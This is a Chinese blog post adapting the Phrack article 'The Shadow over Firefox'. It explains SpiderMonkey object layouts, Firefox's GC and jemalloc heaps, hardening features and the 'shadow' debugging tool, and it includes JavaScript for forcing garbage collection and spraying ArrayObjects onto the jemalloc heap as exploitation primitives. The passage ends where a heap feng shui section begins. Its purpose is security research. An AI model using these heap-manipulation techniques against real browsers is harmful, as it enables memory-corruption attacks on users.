本编文章是笔者在复现CVE-2018-5146时参考的资料。
CVE-2018-5146是pwn2Own2018上用于攻下firefox浏览器的一个漏洞,这里不是我要分享的内容。笔者完全复现了这个漏洞,后面有机会将会放出详细的分析与复现过程。
回到该文章,原文链接:The Shadow over Firefox
由于文章是Firefox浏览器为载体,且版本比较低,文章中说提到的Firefox堆管理的特征,变量的特性等诸多知识,在最新版本的Firefox中或许已发生改变,不再是文中所说的情况。所以笔者在编写之中加上了一些自己分析的成果,不会完全按照原文进行翻译。作者在最后还给出了源代码,由于篇幅原因本文将不给出。
文章整体结构如下:
本文的目标是在大多数操作系统提供的现代保护环境中,针对最新版本的Mozilla Firefox浏览器定义可重用的exploitation 方法。这里的术语“exploitation ”是指利用内存损坏漏洞(不同类型的,即缓冲区溢出,释放后重用,类型混淆)。 “可重用方法”是指可用于利用大多数漏洞和漏洞类的攻击模式。虽然本文中的材料来自Windows版本的Firefox,但据我所知,所包含的技术可以在Firefox支持的所有平台上使用。
具体来说,我在Windows 8.1 x86-64上使用了最新版本的Firefox(撰写本文时为41.0.1)。请注意,Windows上的Firefox稳定版(即使在x86-64系统上)也是x86。
首先将解释一些 exploitation开发所需的Firefox和SpiderMonkey内部的结构情况。 SpiderMonkey(Firefox的JavaScript引擎)使用JS :: Value(或简称jsval)类型的C++变量来表示字符串,数字(包括整数和双精度),对象(包括数组和函数),布尔值以及特殊值null和undefined [JSV]。 当在JavaScript(JS)中将字符串分配给变量或对象的属性时,运行时必须能够查询其类型。 因此,jsvals必须遵循对值和类型进行编码的表示。 为此,SpiderMonkey使用64位IEEE-754编码[IFP]。 具体来说,jsval double使用完整的64位作为其值。 所有其他jsvals(整数,字符串等)都使用32位进行编码,用于指定其类型的标记和用于其值的32位。 在Firefox的源代码中,我们可以在js / public / Value.h中找到jsval类型的常量:
- #define JSVAL_TYPE_DOUBLE ((uint8_t)0x00)
- #define JSVAL_TYPE_INT32 ((uint8_t)0x01)
- #define JSVAL_TYPE_UNDEFINED ((uint8_t)0x02)
- #define JSVAL_TYPE_BOOLEAN ((uint8_t)0x03)
- #define JSVAL_TYPE_MAGIC ((uint8_t)0x04)
- #define JSVAL_TYPE_STRING ((uint8_t)0x05)
- #define JSVAL_TYPE_SYMBOL ((uint8_t)0x06)
- #define JSVAL_TYPE_NULL ((uint8_t)0x07)
- #define JSVAL_TYPE_OBJECT ((uint8_t)0x08)
然后使用这些常量来获取不同类型的32位jsval标记:
- #define JSVAL_TAG_CLEAR ((uint32_t)(0xFFFFFF80))
- #define JSVAL_TAG_INT32 ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_INT32))
- #define JSVAL_TAG_UNDEFINED ((uint32_t)(JSVAL_TAG_CLEAR | \JSVAL_TYPE_UNDEFINED))
- #define JSVAL_TAG_STRING ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_STRING))
- #define JSVAL_TAG_SYMBOL ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_SYMBOL))
- #define JSVAL_TAG_BOOLEAN ((uint32_t)(JSVAL_TAG_CLEAR | \JSVAL_TYPE_BOOLEAN))
- #define JSVAL_TAG_MAGIC ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_MAGIC))
- #define JSVAL_TAG_NULL ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_NULL))
- #define JSVAL_TAG_OBJECT ((uint32_t)(JSVAL_TAG_CLEAR | JSVAL_TYPE_OBJECT))
当SpiderMonkey运行时查询jsval的类型时,如果其32位标记值大于0xFFFFFF80(JSVAL_TAG_CLEAR从上面定义),那么64位将被解释为相应类型的jsval。如果标记值小于或等于0xFFFFFF80,则64位被解释为IEEE-754双精度。此时我将参考的一个重要注意事项是,没有IEEE-754 64位双精度对应于大于0xFFF00000的32位编码值。
除了jsvals之外,SpiderMonkey还使用JSObject [JSO]类型的复杂对象来表示各种JavaScript对象(jsobjects)。实质上,这些是从名称(对象属性)到值的映射。为了避免从这些属性到相应值(存储在jsobject的数组中)的"昂贵"的字典查找,SpiderMonkey使用名叫“形状”的结构。“形状”是直接从属性名称指向保存其值的数组索引的结构描述。
JSObject类使用NativeObject类进行内部实现(确切地说,NativeObject类继承自JSObject类)。 这些复杂对象还包含一个内联动态大小(但有数量限制)的数组,该数组用于存储命名属性,以及JavaScript数组和类型化数组的元素。 第一个(命名属性)由slots指针索引,后者(数组元素)由elements指针索引。 实际存储可以是内联jsobject存储,也可以是堆上动态分配的区域。
而且,jsobject数组有一个头; 此标头由ObjectElements类描述。 可以在js / src / jsobj.h中找到JSObject类的定义,在js / src / vm / NativeObject.h中可以找到NativeObject和ObjectElements的定义。 下面我将一起讨论所有这些(将其视为伪代码),仅与本文相关的部分:
class NativeObject : public JSObject
{
/*
* From JSObject; 结构描述,以避免从属性名称到slots_数组索引的字典查找
*/
js::HeapPtrShape shape_;
/*
* From JSObject; jsobject的类型(与上面描述的jsval类型无关)
*/
js::HeapPtrTypeObject type_;
/*
* From NativeObject; 指向jsobject属性存储的指针。
*/
js::HeapSlot *slots_;
/*
* From NativeObject; 指向jsobject元素存储的指针
* 这由JavaScript数组和类型化数组使用。 正如上面所描述的那样,JavaScript数组的元素是jsvals
*/
js::HeapSlot *elements_;
/*
* From ObjectElements;如何将数据写入elements_和其他元数据。
*/
uint32_t flags;
/*
* From ObjectElements;初始化元素的数量,小于或等于非数组的jsobjects的容量(见下文),小于或等于数组的jsobjects的长度(见下文)。
*/
uint32_t initializedLength;
/*
* From ObjectElements; 分配的slots数(为对象属性)。
*/
uint32_t capacity;
/*
* From ObjectElements; 数组jsobjects的长度。
*/
uint32_t length;
};
在本文的以下部分中,将把它称为'jsobject'(或'jsobject类'),虽然从技术层面上来说是不正确的(正如上面所解释的),但这会使讨论更简单。
为了更好的分析,让我们看一下jsvals和jsobjects在内存中的表示。假设有以下JavaScript代码:
var arr = new Array(); // an array jsobject (ArrayObject)
arr[0] = 0x40414140; // [A] an integer
arr[1] = "Hello, Firefox!"; // [B] a string
arr[2] = 0x42434342;
arr[3] = true; // [C] a boolean
arr[4] = 0x44454544;
arr[5] = new Array(666); // [D] an object
// 给这个数组填充一些元素
arr[5][0] = 666;
arr[5][1] = "sixsixsix";
arr[5][2] = 0.666;
arr[5][3] = false;
arr[5][4] = new Array(666);
arr[6] = 0x46474746;
arr[7] = null;
arr[8] = 0x48494948;
// [E] 初始化为32位无符号整数的对象
arr[9] = new Uint32Array(128);
// 用一些数据来填充这个数组
// total size: 128 * 4 == 512
for(var j = 0; j < 128; j += 2)
{
arr[9][j] = 0x61636361;
arr[9][j + 1] = 0x71737371;
}
arr[10] = 0x50515150;
arr[11] = 1.41424344; // [F] a double
arr[12] = 0x52535352;
// [G] 一个更长的字符串
arr[13] = "Hello, Firefox, and hello again";
在WinDbg中,我们搜索第一个整数标记值,即0x40414140,然后我们检查我们定义的数组的元素:
0:000> s -d 0 0x0 l?0xffffffff 40414140
09e10980 40414140 ffffff81 0f352880 ffffff85 @AA@.....(5.....
09e10a00 40414140 ffffff81 0f352880 ffffff85 @AA@.....(5.....
可以看到两次找到我们的标记值0x40414140。现在,让我们从0x40414140之前的几个dwords进行内存转储; 从WinDbg注释转储,以便于我们后续分析:
0:000> dd 09e10980-20 l?48
[ Our arr ArrayObject ]
shape_ type_ slots elements
09e10960 0eed89a0 0f3709b8 00000000 09e10a00
[ 旧元素的数据,ArrayObjects的默认长度为6 ]
flags initlen capacity length
09e10970 00000000 00000006 00000006 00000006
[ 旧元素的地址 ]
09e10980 40414140 ffffff81 0f352880 ffffff85
09e10990 42434342 ffffff81 00000001 ffffff83
09e109a0 44454544 ffffff81 09e109b0 ffffff88
09e109b0 0eed89a0 0f3709e8 00000000 0c94e010
09e109c0 00000000 00000000 00000000 0000029a
09e109d0 0eed89a0 0f370a30 00000000 0d177010
09e109e0 00000000 00000000 00000000 0000029a
[ 重定位后元素的元数据,新ArrayObject的长度为0xe,或十进制为14 ]
flags initlen capacity length
09e109f0 00000000 0000000e 0000000e 0000000e
[ 新元素的地址 ]
int32 jsval [A] string jsval [B]
09e10a00 40414140 ffffff81 0f352880 ffffff85
bool jsval [C]
09e10a10 42434342 ffffff81 00000001 ffffff83
object jsval (ArrayObject) [D]
09e10a20 44454544 ffffff81 09e109b0 ffffff88
09e10a30 46474746 ffffff81 00000000 ffffff87
object jsval (typed array) [E]
09e10a40 48494948 ffffff81 12634520 ffffff88
double jsval [F]
09e10a50 50515150 ffffff81 bab61ee0 3ff6a0bd
string jsval [G]
09e10a60 52535352 ffffff81 0eef9730 ffffff85
在内存转储开始时(在0x09e10960),我们可以看到arr ArrayObject的元数据; shape,type,slots和elements指针。 slot指针是NULL,因为我们的 jsobject 没有命名属性。 元素指针指向0x09e10a00处数组的jsval内容。 这些实际上是数组的重定位内容。 在地址0x09e10970,我们可以看到元素的原始元数据(未指定时数组的默认长度始终为6),以及指向原始内容的地址0x09e10980。 在我们向arr数组添加内容时,元素(及其元数据)被重新定位。
重定位后的元素指针指向jsval内容开始的0x09e10a00。之前有四个dword,在0x09e109f0,存放的是元数据: flags,initializedLength(或initlen),capacity 和length。正如所预料的,initlen,capacity和length都是0xe。
在 0x09e10a00 处有我们的整数标记值 0x40414140 ,在0x09e10a04处,其32位标记 0xffffff81 表示为整数jsval [A]。
注:在59.0版的firefox浏览中,元素的标志位如下:
dword dword+4
对象 0xffffff8C
字符串 0xffffff86
数值 0xffffff81
boolean 0xffffff83
//dword+4 处的标志位,表明dword处存放的是什么类型的数据。
// 文中字符串的标记是: 0xffffff85
// 对象的标记是: 0xffffff88
在 0x09e10a08,我们可以看到[B]的字符串jsval。 基于: a)底层平台是x86还是x86-64;b)jsval字符串的长度;c)无论是纯ASCII还是unicode,字符串的内容字节是内联还是非内联。 在x86上,内联ASCII字符串的最大长度为7,对于unicode为3; 在x86-64上,ASCII为15,unicode为7。 我们的[B]字符串长度为15(0xf)因此它是内联的。让我们看一下[B]字符串jsval指向的地址的内容:
0:000> dd 0f352880
flags length string's contents
0f352880 0000005d 0000000f 6c6c6548 46202c6f
0f352890 66657269 0021786f 00737365 00000004
0:000> db 0f352880
0f352880 5d 00 00 00 0f 00 00 00-48 65 6c 6c 6f 2c 20 46 ]..Hello, F
0f352890 69 72 65 66 6f 78 21 00-65 73 73 00 04 00 00 00 irefox!.ess
在 0x0f352880,它是我们的内联[B]字符串的元数据的开始; 标志(0x5d),长度(0xf == 15(十进制)),然后是 0x0f352888 的字符串[B]的内容。
相反,0x09e10a68 [G]处的字符串jsval不是内联的。同样,[G]的标记值是 0xffffff85,表示为字符串,它的值指向 0x0eef9730:
0:000> dd 0eef9730
flags length pointer to string's contents
0eef9730 00000049 0000001f 0bcba840 00000000
0:000> dd 0bcba840
0bcba840 6c6c6548 46202c6f 66657269 202c786f
0bcba850 20646e61 6c6c6568 6761206f 006e6961
0:000> db 0bcba840
0bcba840 \
48 65 6c 6c 6f 2c 20 46-69 72 65 66 6f 78 2c 20 Hello, Firefox,
0bcba850 \
61 6e 64 20 68 65 6c 6c-6f 20 61 67 61 69 6e 00 and hello again.
在 0x0eef9730,有flags(0x49),长度(0x1f == 31十进制),并在 0x0eef9738 指向字符串的实际字节内容(0x0bcba840)。
在 0x09e10a28,我们已经实例化了[D] ArrayObject,容量为666(或十六进制为0x29a); 它的标签是 0xffffff88,表示它是一个对象,它的值是地址 0x09e109b0,在那里我们可以看到ArrayObject元数据:
0:000> dd 09e109b0
shape_ type_ slots elements
09e109b0 0eed89a0 0f3709e8 00000000 0c94e010
flags initlen capacity length
09e109c0 00000000 00000000 00000000 0000029a
0:000> dd 0c94e010-10
flags initlen capacity length
0c94e000 00000000 00000005 0000029a 0000029a
arr[5][0] = 666; arr[5][1] = "sixsixsix";
0c94e010 0000029a ffffff81 0eed78a0 ffffff85
0c94e020 3b645a1d 3fe54fdf 00000000 ffffff83
0c94e030 09e109d0 ffffff88 5a5a5a5a 5a5a5a5a
[D] ArrayObject的元素指针指向 0x0c94e010,我们可以看到这个数组的第一个元素,即 arr [5] [0],即整数jsval 0x29a(或十进制的666)。 在 0x0c94e000 处,存在与这些元素相关联的元数据。
在这里,我们可以清楚地看到initializedLength,capacity 和 length 之间的差异。 initializedLength和capacity来自 0x09e109b0 的元数据都是零,而它的 length 是 0x29a ; 这是因为在[D]我们只是声明了一个长度为 0x29a 的 ArrayObject 而没有实际添加任何元素。 然后我们添加了五个元素(arr [5] [0]到arr [5] [4]),新的initializedLength变为5,而 capacity 变得等于length,即0x29a(所有这些来自元数据 0x0c94e000)。
在继续之前,先看看SpiderMonkey类型的数组,因为稍后会在我们的攻击方法中使用它们。类型化数组是一个非常有用的JavaScript特性,因为它们允许我们在堆上构造任意大小的受控内容。之前的Firefox攻击,如[P2O]和[REN],依赖于SpiderMonkey用于在内存中连续定位实际内容(数据)和类型化数组的相应元数据。
不幸的是,情况不再如此;即使我们试图强制进行这样的布局,GC tenured heap和jemalloc heap 将会让这些分离。但是,类型化数组仍然非常有用。
在[E]中,我们实例化一个Uint32Array对象,即一个包含无符号32位整数的类型数组jsobject,初始长度为128,我们可以在地址 0x09e10a48找到它的对象类型jsval; 它的地址是 0x12634520。在那里我们看到Uint32Array对象,从其元数据开始(例如,在0x12634538,其长度为0x80,或十进制为128),在0x12634548,指向数组的实际缓冲区内容(0x0dd73600)。
0:000> dd 12634520
12634520 0af6c5c8 0f370e80 00000000 7475a930
12634530 126344f0 ffffff88 00000080 ffffff81
12634540 00000000 ffffff81 0dd73600 ffffff81
12634550 00000000 00000000 00000000 00000000
0:000> dd 0dd73600
0dd73600 61636361 71737371 61636361 71737371
0dd73610 61636361 71737371 61636361 71737371
0dd73620 61636361 71737371 61636361 71737371
0dd73630 61636361 71737371 61636361 71737371
0dd73640 61636361 71737371 61636361 71737371
0dd73650 61636361 71737371 61636361 71737371
0dd73660 61636361 71737371 61636361 71737371
0dd73670 61636361 71737371 61636361 71737371
正如所料,0x0dd73600 处的类型化数组的内容正是我们在代码中指定的内容。保存这些内容的缓冲区在堆上分配,其大小是我们分配给类型化数组的uint32元素数的四倍(因为每个元素长度为四个字节)。 因此,对于我们的[E]类型数组,其在 0x0dd73600 处的内容缓冲区长度为512字节(4 * 128 == 512)。
从版本32.0 [F32]开始,Firefox默认启用了一个新的垃圾收集(GC)实现(在所有支持的操作系统上),称为“分代垃圾收集”(GGC)。在GGC中有两个独立的堆; a)分配了大多数SpiderMonkey对象的nursery heap;b)或多或少旧版(在版本32.0之前)普通SpiderMonkey GC的 tenured heap 或者 major heap。当nursery heap变满(或其他事件发生)时,会进行minor GC pass。在此过程中,nursery heap上的所有临时短期JavaScript对象都将被收集,并且它们占用的内存将再次可用于nursery。另一方面,nursery上可以在堆图中访问的JavaScript对象(即还存在的对象)被移动到tenured heap(这也使得他们占用的内存可用于nursery)。将对象移动到tenured heap后,在minor GC pass期间,将检查nursery heap上其他对象的传出指针。这些对象也从nursery移到tenured heap。这个迭代过程一直持续到所有可到达的对象从nursery移动到tenured heap,并且他们占用的内存被设置为可用于nursery。这种分代(也称为“移动”)垃圾收集方法为SpiderMonkey带来了令人印象深刻的性能提升,因为大多数JavaScript分配确实是短暂的。
为了清楚说明如何在Firefox浏览器的上下文中使用,应该谈谈JSRuntime [JSR]。 实例化的JSRuntime对象(参见类的js / src / vm / Runtime.cpp)包含所有JavaScript变量,对象,脚本等。默认情况下,为Firefox编译的SpiderMonkey是单线程的,因此Firefox通常只有一个JSRuntime。 但是,可以启动/创建(web)worker,并且每个worker都有自己的JSRuntime。 每个不同的JSRuntime都有一个单独的GGC堆(nursery 和 tenured),它们不共享堆内存。 此外,它们彼此隔离; 一个JSRuntime无法访问由不同JSRuntime分配的对象。
nursery 的硬编码大小为16mb,使用VirtualAlloc()(或Linux上的mmap())分配。 它作为标准的碰撞分配器运行; 保持指针指向 nursery 内存区域中的第一个未分配字节。 要分配X字节,首先检查nursery中是否有可用的X字节。 如果有,则将X添加到指针(“bump”)并返回其先前的值以服务分配请求。 如果没有可用的X字节,则会触发minor GC。 在 GC pass期间,新对象将移动到tenured堆,如果其slots或elements(请参阅第2.1节)高于某个数字,则会将它们移动到jemalloc管理的堆中。
tenured heap(您可能还会在Firefox的代码库中看到它被称为'major'或简称'GC'堆)具有自己的元数据和算法来管理内存。这些nursery和jemalloc堆不同。除了作为在nursery GC传递中剩下的JavaScript对象的堆之外,一些分配直接绕过nursery。这种情况的示例是已知的长期对象(例如全局对象),函数对象(由于JIT要求)和具有finalizers的对象(即,大多数DOM对象)。这里不会详细介绍 tenured heap ,因为它们与exploitation 开发无关。
在本节中,将仅讨论遵循第5节中的分析所需的必要的jemalloc知识。有关更详细的论文,推荐另一篇仍适用于当前jemalloc [PSJ]状态的Phrack论文。
jemalloc是一个位图分配器,专为性能而设计,不是针对内存利用率。 其主要设计目标之一是在内存中连续分配。 最新版本的jemalloc目前是4.0.0,但Firefox包含一个从主要版本2分叉的版本.Firefox的fork在源代码树中称为mozjemalloc,但它不包含来自jemalloc 2的任何重大更改。它被使用在Firefox中分配变得很大的tenured heap。 但是,有一些例外; 从JavaScript可触发的某些分配可以绕过nursery 和tenured heap,并直接转到jemalloc管理的堆。 这里不会进一步讨论这个问题。
在jemalloc中,内存被分成根据其大小分类的区域。具体来说,Firefox中的大小类别(称为“bins”)为2,4,8,16,32,48,...,512,1024,最高为2048.大于2048字节的malloc()请求的处理方式不同。 每个bin 与几个'run'相关联; 这些是regions的实际容器。 run可以跨越一个或多个虚拟内存页面,这些虚拟内存页面被划分为run所属的bin大小的Region。 Bins 具有runs 的元数据,通过它们可以找到free regions 。 下图是[PSJ]原始版本的简化版本,并总结了上述说明。
分配请求(即malloc()调用)被四舍五入并分配给一个bin。 然后,通过bin的 free regions 元数据,找到具有free region的run。 如果未找到,则分配新的run并将其分配给特定的bin。 因此,这意味着在jemalloc堆中,不同类型但具有相似大小的对象被分配到相同的bin中是连续的。 jemalloc的另一个有趣特性是它以后进先出(LIFO)方式运行(参见[PSJ] the free algorithm);
在这一点上,让我们用一个例子来看看如何在Firefox中使用jemalloc堆以及GGC堆,即nursery 和tenured。 在下图中,nursery heap 几乎已满,我们有一个具有N个slots的JSObject的分配请求:
JSObject本身能存在(不影响其余事件)nursery 的空闲空间中,但它的slots不能。 因此,JSObject被放置在nursery 上,并且由于它变满了,因此触发了一个 minor GC。 如果它不适合nursery ,也会触发minor GC。 在此GC期间,假设JSObject是还存在的对象,即不是临时对象,它将从nursery移动到tenured heap(或者它首先就不适合nursery ,那会被直接放在那里)。 如果其slots的数量N大于某个数字,则它们不会与对象本身一起放置在tenured heap上。 相反,在jemalloc堆上进行N个slots大小的新分配,并将slots放在那里。 然后jsobject的slots指针存储包含slots的jemalloc堆区域的地址。
Firefox具有一些安全加固功能,可用于了解您是否正在执行或计划对其进行任何漏洞利用开发。 这里将尝试在此列出所有内容,以便为大家提供开始挖掘的参考,但只会扩展那些影响我们本文目标的内容。
PresArena是Gecko专门用于CSS盒子对象的堆(Gecko是Firefox的布局引擎)。 当释放CSS框对象时,空闲的PresArena堆'slot'将根据其类型添加到空闲列表中。 这意味着PresArena为每个不同的CSS框对象类型维护单独的空闲堆'slot'列表。 分配请求从它尝试分配的对象类型的空闲列表中提供服务。
这基本上意味着对于CSS框对象,PresArena实现了类型安全的内存重用,主要是杀死大多数use-after-free的利用。 我说'大多数'是因为在某些情况下,use-after-free的bug仍然可以通过相同对象类型的技巧来利用,例如使用属性值。
PresArena还给与CSS box 对象相关但不支持的对象类型提供服务。 这些对象的空闲列表是按大小而不是每种类型。这当然意味着这些对象类型的use-after-free bug可以像往常一样被利用。PresArena的代码位于layout / base / nsPresArena.{h,cpp}。
由于jemalloc将分配请求舍入到最接近的大小类别(bin),因此可能会将一个小对象分配给更大的对象占用之前占用的相同区域(两个对象都小于或等于当前的大小类别))。 因此,在这种情况下,我们可以使用小对象来读回较大对象留下的内存。 这可能会泄漏DLL指针,并可能有助于绕过ASLR。 为了避免这种情况,jemalloc在regions 被释放后对其进行清理。 目前的Firefox版本使用值0xe5e5e5e5进行清理; 旧版本使用0xa5a5a5a5。在Firefox59.0版本中,依然使用0xe5e5e5e5进行处理。
这种强化功能还会使一些未初始化的内存错误无法使用。 在任何情况下,如果你在fuzzing Firefox,这些都是在崩溃日志中能获得有价值的地方。
在尝试在堆上创建特定对象布局时,能够按需触发垃圾回收机制是基础的操作。 Firefox没有提供无特权的JavaScript API来执行此操作。 虽然没有按需GC API来调用,但很明显Firefox开发人员会主动尝试从非特权的JavaScript函数中删除直接执行路径来触发GC。 出于各种情况都可以触发GC;
Firefox将这些分为两大类,一类与JavaScript引擎相关,另一类与JavaScript引擎无关。 第二类包括与布局引擎相关的原因(例如帧刷新),以及对浏览器更加通用的原因(例如,当主进程退出时)。 您可以在js / public / GCAPI.h找到所有原因的名称。
这些是寻找从非特权JavaScript代码按需触发GC的方法的开始。
从 TOO_MUCH_MALLOC 开始。如果您在Firefox的代码中搜索它并使用您喜欢的代码阅读工具回溯它,您将得出以下执行路径:
在读取文件dom / canvas / CanvasRenderingContext2D.cpp中的dom :: CanvasRenderingContext2D :: EnsureTarget()之后,我们可以很容易地找出如何到达它:
var my_canvas = document.createElement("canvas");
my_canvas.id = "my_canvas";
my_canvas.width = "100";
my_canvas.height = "115";
document.body.appendChild(my_canvas);
for(var i = 0; i < 10; i++)
{
var my_context = my_canvas.getContext("2d");
my_canvas.width = 36666;
my_context.fillRect(21, 11, 66, 60);
}
你还可以找到很多其他的,只需阅读代码。 另一个简单的方法是重复创建字符串并将它们附加到DOM节点; 请参阅此示例的存档。 请注意,可能需要调整一些参数,例如重复次数,字符串大小等,以使其尽可能多地处理具有不同特征的不同系统。
这里只会在Windows上讨论Firefox的沙箱; Linux和OS X实现基于不同的技术,seccomp和Seatbelt,但旨在实现类似的目标。 所有代码都可以在security / sandbox / {win,linux,mac}中找到。
在Windows上,Firefox正在使用Chromium沙箱的代码。 简而言之,有一个父进程(代理)负责启动沙盒子进程(目标)。 两者之间的通信是通过称为IPDL(进程间通信协议定义语言)的特定于Firefox的C ++ IPC实现的。 实现子进程有三种不同的沙盒策略:a)布局内容,b)媒体播放,c)其他插件。 它们由以下函数实现:
a)SetSecurityLevelForContentProcess()
b)SetSecurityLevelForGMPlugin()
c)SetSecurityLevelForPluginProcess()。
您可以在security / sandbox / win / src / sandboxbroker / sandboxBroker.cpp中找到它们的实现。
Firefox中的Flash是一个进程外插件。 这意味着Firefox启动了一个名为plugin-container.exe的可执行文件,然后加载Flash插件,由Flash自己的“保护模式”进行沙盒处理。 在Windows上,这意味着它是一个低完整性过程,具有受限访问令牌功能,不允许启动新进程等.Firefox计划停止启用Flash的保护模式并将Flash置于上述基于Chromium的沙箱中。但是,目前情况并非如此(41.0.1)。
我最初重新设计了unmask_jemalloc [UNJ](用huku编写的GDB / Python工具),采用模块化设计,支持所有三个主要调试器和平台(WinDBG,GDB和LLDB)。 当添加Firefox / Windows / WinDBG功能时,将该工具重命名为shadow。
以下是新设计的概述(将箭头读作“导入”)。 目标是在 driver 和 engine模块中包含所有与调试器相关的代码。
当您尝试了解JavaScript代码对堆的影响时,shadow可以在Firefox漏洞利用开发期间为您提供帮助。 symbol命令允许您搜索特定大小的SpiderMonkey和DOM类(和结构)。 当您尝试利用use-after-free bug时,或者当您想要定位有趣的对象来覆盖/损坏时,这非常有用。 所有支持的命令是:
0:000> !py c:\\tmp\\shadow\\pykd_driver help
[shadow] De Mysteriis Dom Firefox
[shadow] v1.0b
[shadow] jemalloc-specific commands:
[shadow] jechunks : dump info on all available chunks
[shadow] jearenas : dump info on jemalloc arenas
[shadow] jerun <address> : dump info on a single run
[shadow] jeruns [-cs] : dump info on jemalloc runs
[shadow] -c: current runs only
[shadow] -s <size class>: runs for the given size
[shadow] class only
[shadow] jebins : dump info on jemalloc bins
[shadow] jeregions <size class> : dump all current regions of the
[shadow] given size class
[shadow] jesearch [-cfqs] <hex> : search the heap for the given hex
[shadow] dword
[shadow] -c: current runs only
[shadow] -q: quick search (less
[shadow] details)
[shadow] -s <size class>: regions of the given size
[shadow] only
[shadow] -f: search for filled region
[shadow] holes)
[shadow] jeinfo <address> : display all available details for
[shadow] an address
[shadow] jedump [filename] : dump all available jemalloc info
[shadow] to screen (default) or file
[shadow] jeparse : parse jemalloc structures from
[shadow] memory
[shadow] Firefox-specific commands:
[shadow] nursery : display info on the SpiderMonkey
[shadow] GC nursery
[shadow] symbol [-vjdx] <size> : display all Firefox symbols of the
[shadow] given size
[shadow] -v: only class symbols with
[shadow] vtable
[shadow] -j: only symbols from
[shadow] SpiderMonkey
[shadow] -d: only DOM symbols
[shadow] -x: only non-SpiderMonkey
[shadow] symbols
[shadow] pa <address> [<length>] : modify the ArrayObject's length
[shadow] (default new length 0x666)
[shadow] Generic commands:
[shadow] version : output version number
[shadow] help : this help message
您可以在本文附带的代码存档中以及GitHub [SHD]上找到最新版本的shadow以及安装说明。 另外: 我只有时间在Windows和WinDBG上测试所有内容。 Linux / GDB上的支持几乎完成(虽然不支持symbol命令)。 但还没有做过支持OS X / LLDB的工作。
在介绍中,我将本文的目标定为一种通用的,可重用的开发方法,可以应用于尽可能多的Firefox错误(和bug类)。 更具体地说,这个高级目标可以分解为以下几点:
为了实现这些,我们将使用标准JavaScript数组,即ArrayObject jsobjects作为基本元素。 过去,研究人员已将 typed arrays 用于类似目的[P2O,REN]。 但是,正如我们在2.1节中看到的那样,类型化数组的用户可控内容(数据)及其元数据(如它们的长度和数据指针)在内存中不再是连续的。 另一方面,我发现可以强制ArrayObjects将其元数据放在jemalloc堆上的数据旁边,并具有以下有用的特性:
我们将ArrayObjects作为container,再把 ArrayObject作为元素进行堆喷; 当container变得足够大时,元素(它们本身是ArrayObjects)被移动到jemalloc堆并包含它们的内容和metadata。 在js / src / gc / Marking.cpp中我们可以在方法js :: TenuringTracer :: moveElementsToTenured()中看到这一点 -请注意注释带有注释伪代码,请参阅完整详细信息的实际来源:
/*
* nslots here is equal to the capacity of the ArrayObject plus 2
* (ObjectElements::VALUES_PER_HEADER).
*/
size_t nslots = ObjectElements::VALUES_PER_HEADER + srcHeader->capacity;
...
if (src->is<ArrayObject>() && nslots <= GetGCKindSlots(dstKind)) {
/*
* If this is an ArrayObject and nslots is less or equal
* to 16 (GetGCKindSlots(dstKind)) there is no new allocation.
*/
...
return nslots * sizeof(HeapSlot);
}
...
/*
* Otherwise there is a new allocation of size nslots that
* goes on the jemalloc heap, the elements are copied, and the
* elements_ pointer is set.
*/
dstHeader = \
reinterpret_cast<ObjectElements*>(zone->pod_malloc<HeapSlot>(nslots));
js_memcpy(dstHeader, srcHeader, nslots * sizeof(HeapSlot));
nursery().setElementsForwardingPointer(srcHeader, dstHeader, nslots);
让我们重新讨论2.3节中的示例,并将ArrayObjects及其元数据移动到jemalloc堆的上下文中。
上图描述了当我们运行以下JavaScript代码时Firefox堆会发生什么。 我们创建一个container ArrayObject; 这最初分配在nursery。
var container = new Array();
当我们向container 添加 ArrayObjects时,会发生 a minor (nursery) garbage collection。 我们通过填充16 MB的 nursery 来触发这个,共36个元素,每个元素又包含66000 ArrayObject - 记住每个元素是8个字节(jsval),但是最终的大小为240的ArrayObject会分配到256 大小的jemalloc run 中(当然包括metadata)。
// 16777216 / 256 == 65536
var spray_size = 66000;
container ArrayObject(A)从nursery 移动到tenured heap。 如果(2 + capacity)> = 17,则在jemalloc堆上重新为container的每个ArrayObject元素分配空间。 由于这些是ArrayObjects,因此它们具有数据和metadata。 容器在其剩余的生命周期内保留在tenured堆上。
for(var i = 0; i < spray_size; i++)
{
container[i] = new Array();
for(var j = 0; j < 30; j += 2) // 30 * 8 == 240
{
container[i][j] = 0x45464645;
container[i][j + 1] = 0x47484847;
}
}
细心的读者会注意到这里。 将对象移动到jemalloc堆的条件取决于对象的容量。 这设置了一个限制,根据对象的初始容量,jemalloc大小类别可以用于我们的目的。 如果你挖掘SpiderMonkey的代码,你会发现initlen为1的ArrayObject(例如a [0] =“A”)的容量为6.因此,为了满足移动条件,我们必须排除一些小jemalloc 大小类别。
此时,让我们使用WinDBG中的shadow实用程序在jemalloc堆中搜索我们喷洒的内容。
0:000> !py c:\\tmp\\pykd_driver jesearch -s 256 -c 45464645
[shadow] searching all current runs of size class 256 for 45464645
[shadow] found 45464645 at 0x141ad110
(run 0x141ad000, region 0x141ad100, region size 0256)
[shadow] found 45464645 at 0x141ad120
(run 0x141ad000, region 0x141ad100, region size 0256)
[shadow] found 45464645 at 0x141ad130
(run 0x141ad000, region 0x141ad100, region size 0256)
0:000> dd 141ad100 l?80
[ Metadata of a sprayed ArrayObject ]
flags initlen capacity length
141ad100 00000000 0000001e 0000001e 0000001e
[ Contents of the same sprayed ArrayObject ]
141ad110 45464645 ffffff81 47484847 ffffff81
141ad120 45464645 ffffff81 47484847 ffffff81
...
141ad1e0 45464645 ffffff81 47484847 ffffff81
141ad1f0 45464645 ffffff81 47484847 ffffff81
[ Metadata of another sprayed ArrayObject]
flags initlen capacity length
141ad200 00000000 0000001e 0000001e 0000001e
[ and its data ]
141ad210 45464645 ffffff81 47484847 ffffff81
141ad220 45464645 ffffff81 47484847 ffffff81
0:000> !py c:\\tmp\\pykd_driver jeinfo 141ad200
[shadow] address 0x141ad200
...
[shadow] run 0x141ad000 is the current run of bin 0x00600608
[shadow] address 0x141ad200 belongs
to region 0x141ad200 (size class 0256)
我们可以看到,container ArrayObject的ArrayObject元素确实位于jemalloc堆上,特别是大小为256的区域。
而且,它们彼此相邻。
堆风水指的是堆的操纵,目的是能准确的对堆进行布置(用选的object)以帮助后续的利用[FSJ]。 有了前面几节的知识,我们现在可以:
